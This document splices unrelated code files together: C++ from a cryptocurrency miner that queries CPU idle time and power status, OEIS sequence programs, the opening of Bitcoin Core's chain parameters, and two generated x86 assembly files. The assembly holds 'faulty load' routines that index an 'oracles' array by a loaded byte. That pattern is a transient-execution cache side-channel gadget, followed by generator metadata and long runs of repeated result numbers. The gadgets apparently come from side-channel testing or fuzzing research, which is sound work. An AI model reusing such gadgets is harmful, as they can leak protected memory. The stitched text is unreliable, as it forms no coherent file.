idle_time = ( (((uint64_t)(idleTime.dwHighDateTime)) << 32) | ((uint64_t)idleTime.dwLowDateTime) );
return true;
}
#elif defined(__linux__)
const std::string STAT_FILE_PATH = "/proc/stat";
if( !epee::file_io_utils::is_file_exist(STAT_FILE_PATH) )
{
LOG_ERROR("'" << STAT_FILE_PATH << "' file does not exist");
return false;
}
std::ifstream stat_file_stream(STAT_FILE_PATH);
if( stat_file_stream.fail() )
{
LOG_ERROR("failed to open '" << STAT_FILE_PATH << "'");
return false;
}
std::string line;
std::getline(stat_file_stream, line);
std::istringstream stat_file_iss(line);
stat_file_iss.ignore(65536, ' '); // skip cpu label ...
uint64_t utime, ntime, stime, itime;
if( !(stat_file_iss >> utime && stat_file_iss >> ntime && stat_file_iss >> stime && stat_file_iss >> itime) )
{
LOG_ERROR("failed to read '" << STAT_FILE_PATH << "'");
return false;
}
idle_time = itime;
total_time = utime + ntime + stime + itime;
return true;
#elif defined(__APPLE__)
mach_msg_type_number_t count;
kern_return_t status;
host_cpu_load_info_data_t stats;
count = HOST_CPU_LOAD_INFO_COUNT;
status = host_statistics(mach_host_self(), HOST_CPU_LOAD_INFO, (host_info_t)&stats, &count);
if(status != KERN_SUCCESS)
{
return false;
}
idle_time = stats.cpu_ticks[CPU_STATE_IDLE];
total_time = idle_time + stats.cpu_ticks[CPU_STATE_USER] + stats.cpu_ticks[CPU_STATE_SYSTEM];
return true;
#elif defined(__FreeBSD__)
struct statinfo s;
size_t n = sizeof(s.cp_time);
if( sysctlbyname("kern.cp_time", s.cp_time, &n, NULL, 0) == -1 )
{
LOG_ERROR("sysctlbyname(\"kern.cp_time\"): " << strerror(errno));
return false;
}
if( n != sizeof(s.cp_time) )
{
LOG_ERROR("sysctlbyname(\"kern.cp_time\") output is unexpectedly "
<< n << " bytes instead of the expected " << sizeof(s.cp_time)
<< " bytes.");
return false;
}
idle_time = s.cp_time[CP_IDLE];
total_time =
s.cp_time[CP_USER] +
s.cp_time[CP_NICE] +
s.cp_time[CP_SYS] +
s.cp_time[CP_INTR] +
s.cp_time[CP_IDLE];
return true;
#endif
return false; // unsupported system
}
//-----------------------------------------------------------------------------------------------------
bool miner::get_process_time(uint64_t& total_time)
{
#ifdef _WIN32
FILETIME createTime;
FILETIME exitTime;
FILETIME kernelTime;
FILETIME userTime;
if ( GetProcessTimes( GetCurrentProcess(), &createTime, &exitTime, &kernelTime, &userTime ) != -1 )
{
total_time =
( (((uint64_t)(kernelTime.dwHighDateTime)) << 32) | ((uint64_t)kernelTime.dwLowDateTime) )
+ ( (((uint64_t)(userTime.dwHighDateTime)) << 32) | ((uint64_t)userTime.dwLowDateTime) );
return true;
}
#elif (defined(__linux__) && defined(_SC_CLK_TCK)) || defined(__APPLE__) || defined(__FreeBSD__)
struct tms tms;
if ( times(&tms) != (clock_t)-1 )
{
total_time = tms.tms_utime + tms.tms_stime;
return true;
}
#endif
return false; // unsupported system
}
//-----------------------------------------------------------------------------------------------------
uint8_t miner::get_percent_of_total(uint64_t other, uint64_t total)
{
return (uint8_t)( ceil( (other * 1.f / total * 1.f) * 100) );
}
//-----------------------------------------------------------------------------------------------------
boost::logic::tribool miner::on_battery_power()
{
#ifdef _WIN32
SYSTEM_POWER_STATUS power_status;
if ( GetSystemPowerStatus( &power_status ) != 0 )
{
return boost::logic::tribool(power_status.ACLineStatus != 1);
}
#elif defined(__APPLE__)
#if TARGET_OS_MAC && (!defined(MAC_OS_X_VERSION_MIN_REQUIRED) || MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_7)
return boost::logic::tribool(IOPSGetTimeRemainingEstimate() != kIOPSTimeRemainingUnlimited);
#else
// iOS or OSX <10.7
return boost::logic::tribool(boost::logic::indeterminate);
#endif
#elif defined(__linux__)
// Use the power_supply class http://lxr.linux.no/#linux+v4.10.1/Documentation/power/power_supply_class.txt
std::string power_supply_class_path = "/sys/class/power_supply";
boost::tribool on_battery = boost::logic::tribool(boost::logic::indeterminate);
if (boost::filesystem::is_directory(power_supply_class_path))
{
const boost::filesystem::directory_iterator end_itr;
for (boost::filesystem::directory_iterator iter(power_supply_class_path); iter != end_itr; ++iter)
{
const boost::filesystem::path& power_supply_path = iter->path();
if (boost::filesystem::is_directory(power_supply_path))
{
boost::filesystem::path power_supply_type_path = power_supply_path / "type";
if (boost::filesystem::is_regular_file(power_supply_type_path))
{
std::ifstream power_supply_type_stream(power_supply_type_path.string());
if (power_supply_type_stream.fail())
{
LOG_PRINT_L0("Unable to read from " << power_supply_type_path << " to check power supply type");
continue;
}
std::string power_supply_type;
std::getline(power_supply_type_stream, power_supply_type);
// If there is an AC adapter that's present and online we can break early
if (boost::starts_with(power_supply_type, "Mains"))
{
boost::filesystem::path power_supply_online_path = power_supply_path / "online";
if (boost::filesystem::is_regular_file(power_supply_online_path))
{
std::ifstream power_supply_online_stream(power_supply_online_path.string());
if (power_supply_online_stream.fail())
{
LOG_PRINT_L0("Unable to read from " << power_supply_online_path << " to check ac power supply status");
continue;
}
if (power_supply_online_stream.get() == '1')
{
return boost::logic::tribool(false);
}
}
}
else if (boost::starts_with(power_supply_type, "Battery") && boost::logic::indeterminate(on_battery))
{
boost::filesystem::path power_supply_status_path = power_supply_path / "status";
if (boost::filesystem::is_regular_file(power_supply_status_path))
{
std::ifstream power_supply_status_stream(power_supply_status_path.string());
if (power_supply_status_stream.fail())
{
LOG_PRINT_L0("Unable to read from " << power_supply_status_path << " to check battery power supply status");
continue;
}
// Possible status are Charging, Full, Discharging, Not Charging, and Unknown
// We are only need to handle negative states right now
std::string power_supply_status;
std::getline(power_supply_status_stream, power_supply_status);
if (boost::starts_with(power_supply_status, "Charging") || boost::starts_with(power_supply_status, "Full"))
{
on_battery = boost::logic::tribool(false);
}
if (boost::starts_with(power_supply_status, "Discharging"))
{
on_battery = boost::logic::tribool(true);
}
}
}
}
}
}
}
if (boost::logic::indeterminate(on_battery))
{
static bool error_shown = false;
if (!error_shown)
{
LOG_ERROR("couldn't query power status from " << power_supply_class_path);
error_shown = true;
}
}
return on_battery;
#elif defined(__FreeBSD__)
int ac;
size_t n = sizeof(ac);
if( sysctlbyname("hw.acpi.acline", &ac, &n, NULL, 0) == -1 )
{
if( errno != ENOENT )
{
LOG_ERROR("Cannot query battery status: "
<< "sysctlbyname(\"hw.acpi.acline\"): " << strerror(errno));
return boost::logic::tribool(boost::logic::indeterminate);
}
// If sysctl fails with ENOENT, then try querying /dev/apm.
static const char* dev_apm = "/dev/apm";
const int fd = open(dev_apm, O_RDONLY);
if( fd == -1 ) {
LOG_ERROR("Cannot query battery status: "
<< "open(): " << dev_apm << ": " << strerror(errno));
return boost::logic::tribool(boost::logic::indeterminate);
}
apm_info info;
if( ioctl(fd, APMIO_GETINFO, &info) == -1 ) {
close(fd);
LOG_ERROR("Cannot query battery status: "
<< "ioctl(" << dev_apm << ", APMIO_GETINFO): " << strerror(errno));
return boost::logic::tribool(boost::logic::indeterminate);
}
close(fd);
// See apm(8).
switch( info.ai_acline )
{
case 0: // off-line
case 2: // backup power
return boost::logic::tribool(true);
case 1: // on-line
return boost::logic::tribool(false);
}
switch( info.ai_batt_stat )
{
case 0: // high
case 1: // low
case 2: // critical
return boost::logic::tribool(true);
case 3: // charging
return boost::logic::tribool(false);
}
LOG_ERROR("Cannot query battery status: "
<< "sysctl hw.acpi.acline is not available and /dev/apm returns "
<< "unexpected ac-line status (" << info.ai_acline << ") and "
<< "battery status (" << info.ai_batt_stat << ").");
return boost::logic::tribool(boost::logic::indeterminate);
}
if( n != sizeof(ac) )
{
LOG_ERROR("sysctlbyname(\"hw.acpi.acline\") output is unexpectedly "
<< n << " bytes instead of the expected " << sizeof(ac) << " bytes.");
return boost::logic::tribool(boost::logic::indeterminate);
}
return boost::logic::tribool(ac == 0);
#endif
LOG_ERROR("couldn't query power status");
return boost::logic::tribool(boost::logic::indeterminate);
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x40e2, %r13
clflush (%r13)
nop
nop
nop
xor %rdx, %rdx
movl $0x61626364, (%r13)
nop
nop
nop
and %rcx, %rcx
lea addresses_normal_ht+0xd2c2, %rsi
lea addresses_WT_ht+0x1de28, %rdi
nop
nop
nop
nop
and $55993, %r12
mov $100, %rcx
rep movsb
nop
nop
nop
inc %rsi
lea addresses_WC_ht+0x59ba, %rdx
cmp $53532, %r9
movups (%rdx), %xmm4
vpextrq $0, %xmm4, %rsi
nop
xor %r13, %r13
lea addresses_UC_ht+0x1b772, %rsi
lea addresses_UC_ht+0x896a, %rdi
nop
nop
xor %r11, %r11
mov $98, %rcx
rep movsq
nop
nop
inc %r11
lea addresses_normal_ht+0x1baea, %r11
nop
cmp $16664, %r9
mov $0x6162636465666768, %r13
movq %r13, %xmm6
vmovups %ymm6, (%r11)
xor $6218, %rcx
lea addresses_A_ht+0xdda, %r11
xor %rcx, %rcx
mov (%r11), %dx
nop
add $27105, %rcx
lea addresses_WT_ht+0x646a, %rsi
lea addresses_A_ht+0x12c2a, %rdi
nop
nop
nop
cmp $7113, %r12
mov $53, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_WT_ht+0x3fea, %r9
clflush (%r9)
cmp $60648, %rdi
movl $0x61626364, (%r9)
nop
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_D_ht+0x15276, %rsi
lea addresses_normal_ht+0x1de9e, %rdi
nop
nop
nop
xor $43192, %r11
mov $53, %rcx
rep movsq
nop
nop
nop
nop
nop
and $40588, %rdx
lea addresses_WT_ht+0x9e2, %rdx
sub $42309, %r9
movb $0x61, (%rdx)
nop
dec %rdi
lea addresses_normal_ht+0x1c6a, %r13
nop
nop
nop
nop
nop
sub $11994, %rcx
movl $0x61626364, (%r13)
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0xc6a, %rsi
lea addresses_UC_ht+0x4c6a, %rdi
add %r13, %r13
mov $112, %rcx
rep movsb
nop
nop
nop
sub $33897, %rdx
lea addresses_A_ht+0xf46a, %r12
nop
nop
xor %rcx, %rcx
movl $0x61626364, (%r12)
nop
add %rsi, %rsi
lea addresses_WT_ht+0xb86a, %rcx
nop
add $33173, %r9
movl $0x61626364, (%rcx)
nop
nop
nop
nop
inc %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %rbp
push %rbx
push %rdi
push %rdx
// Faulty Load
lea addresses_UC+0x13c6a, %r14
nop
nop
nop
add $51147, %rdi
mov (%r14), %rdx
lea oracles, %r14
and $0xff, %rdx
shlq $12, %rdx
mov (%r14,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': True, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True}}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
; A241955: a(n) = 2^(4*n+3) - 1.
; 7,127,2047,32767,524287,8388607,134217727,2147483647,34359738367,549755813887,8796093022207,140737488355327,2251799813685247,36028797018963967,576460752303423487,9223372036854775807,147573952589676412927,2361183241434822606847,37778931862957161709567,604462909807314587353087,9671406556917033397649407,154742504910672534362390527,2475880078570760549798248447,39614081257132168796771975167,633825300114114700748351602687,10141204801825835211973625643007,162259276829213363391578010288127
mov $1,16
pow $1,$0
sub $1,1
mul $1,8
add $1,7
mov $0,$1
|
; A032973: Numbers with the property that all pairs of consecutive digits differ by more than 1.
; 1,2,3,4,5,6,7,8,9,13,14,15,16,17,18,19,20,24,25,26,27,28,29,30,31,35,36,37,38,39,40,41,42,46,47,48,49,50,51,52,53,57,58,59,60,61,62,63,64,68,69,70,71,72,73,74,75,79,80,81,82,83,84
mov $1,1
mov $2,$0
lpb $2
add $1,$0
mov $0,3
trn $2,8
lpe
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xeb, %rsi
lea addresses_WC_ht+0xa3eb, %rdi
nop
nop
nop
nop
xor $5741, %rbx
mov $31, %rcx
rep movsl
nop
dec %rsi
lea addresses_A_ht+0x4eb, %r13
sub $15598, %r11
movl $0x61626364, (%r13)
nop
cmp %r11, %r11
lea addresses_UC_ht+0x3fa3, %rdi
nop
cmp %rdx, %rdx
mov (%rdi), %r11d
nop
nop
nop
and $12926, %rsi
lea addresses_D_ht+0x6eab, %rsi
lea addresses_A_ht+0x1afeb, %rdi
nop
nop
dec %r12
mov $57, %rcx
rep movsw
nop
and $9779, %r12
lea addresses_D_ht+0x184eb, %r12
nop
xor $51288, %r11
movups (%r12), %xmm5
vpextrq $0, %xmm5, %r13
nop
nop
cmp %r13, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r15
push %r8
push %rcx
push %rsi
// Store
lea addresses_WC+0xfbeb, %rsi
and %r10, %r10
movw $0x5152, (%rsi)
nop
nop
nop
nop
nop
cmp $63981, %r10
// Load
lea addresses_D+0x1d7eb, %r10
nop
and %r15, %r15
mov (%r10), %si
nop
nop
xor %r10, %r10
// Faulty Load
lea addresses_D+0x1d7eb, %r8
clflush (%r8)
nop
cmp $35580, %r13
mov (%r8), %esi
lea oracles, %rcx
and $0xff, %rsi
shlq $12, %rsi
mov (%rcx,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 7}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2020 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <chainparams.h>
#include <chainparamsseeds.h>
#include <consensus/merkle.h>
#include <tinyformat.h>
#include <util/system.h>
#include <util/strencodings.h>
#include <versionbitsinfo.h>
#include <assert.h>
#include <boost/algorithm/string/classification.hpp>
#include <boost/algorithm/string/split.hpp>
static CBlock CreateGenesisBlock(const char* pszTimestamp, const CScript& genesisOutputScript, uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount& genesisReward)
{
CMutableTransaction txNew;
txNew.nVersion = 1;
txNew.vin.resize(1);
txNew.vout.resize(1);
txNew.vin[0].scriptSig = CScript() << 486604799 << CScriptNum(4) << std::vector<unsigned char>((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp));
txNew.vout[0].nValue = genesisReward;
txNew.vout[0].scriptPubKey = genesisOutputScript;
CBlock genesis;
genesis.nTime = nTime;
genesis.nBits = nBits;
genesis.nNonce = nNonce;
genesis.nVersion = nVersion;
genesis.vtx.push_back(MakeTransactionRef(std::move(txNew)));
genesis.hashPrevBlock.SetNull();
genesis.hashMerkleRoot = BlockMerkleRoot(genesis);
return genesis;
}
/**
* Build the genesis block. Note that the output of its generation
* transaction cannot be spent since it did not originally exist in the
* database.
*
* CBlock(hash=000000000019d6, ver=1, hashPrevBlock=00000000000000, hashMerkleRoot=4a5e1e, nTime=1231006505, nBits=1d00ffff, nNonce=2083236893, vtx=1)
* CTransaction(hash=4a5e1e, ver=1, vin.size=1, vout.size=1, nLockTime=0)
* CTxIn(COutPoint(000000, -1), coinbase 04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73)
* CTxOut(nValue=50.00000000, scriptPubKey=0x5F1DF16B2B704C8A578D0B)
* vMerkleTree: 4a5e1e
*/
static CBlock CreateGenesisBlock(uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount& genesisReward)
{
const char* pszTimestamp = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks";
const CScript genesisOutputScript = CScript() << ParseHex("04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f") << OP_CHECKSIG;
return CreateGenesisBlock(pszTimestamp, genesisOutputScript, nTime, nNonce, nBits, nVersion, genesisReward);
}
/**
* Main network
*/
class CMainParams : public CChainParams {
public:
CMainParams() {
strNetworkID = CBaseChainParams::MAIN;
consensus.nSubsidyHalvingInterval = 210000;
consensus.BIP16Exception = uint256S("0x00000000000002dc756eebf4f49723ed8d30cc28a5f108eb94b1ba88ac4f9c22");
consensus.BIP34Height = 227931;
consensus.BIP34Hash = uint256S("0x000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8");
consensus.BIP65Height = 388381; // 000000000000000004c2b624ed5d7756c508d90fd0da2c7c679febfa6c4735f0
consensus.BIP66Height = 363725; // 00000000000000000379eaa19dce8c9b722d46ae6a57c2f1a988119488b50931
consensus.CSVHeight = 419328; // 000000000000000004a1b34462cb8aeebd5799177f7a29cf28f2d1961716b5b5
consensus.SegwitHeight = 481824; // 0000000000000000001c8018d9cb3b742ef25114f27563e3fc4a1902167f9893
consensus.MinBIP9WarningHeight = 483840; // segwit activation height + miner confirmation window
consensus.powLimit = uint256S("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks
consensus.nPowTargetSpacing = 10 * 60;
consensus.fPowAllowMinDifficultyBlocks = false;
consensus.fPowNoRetargeting = false;
consensus.nRuleChangeActivationThreshold = 1916; // 95% of 2016
consensus.nMinerConfirmationWindow = 2016; // nPowTargetTimespan / nPowTargetSpacing
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28;
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 1199145601; // January 1, 2008
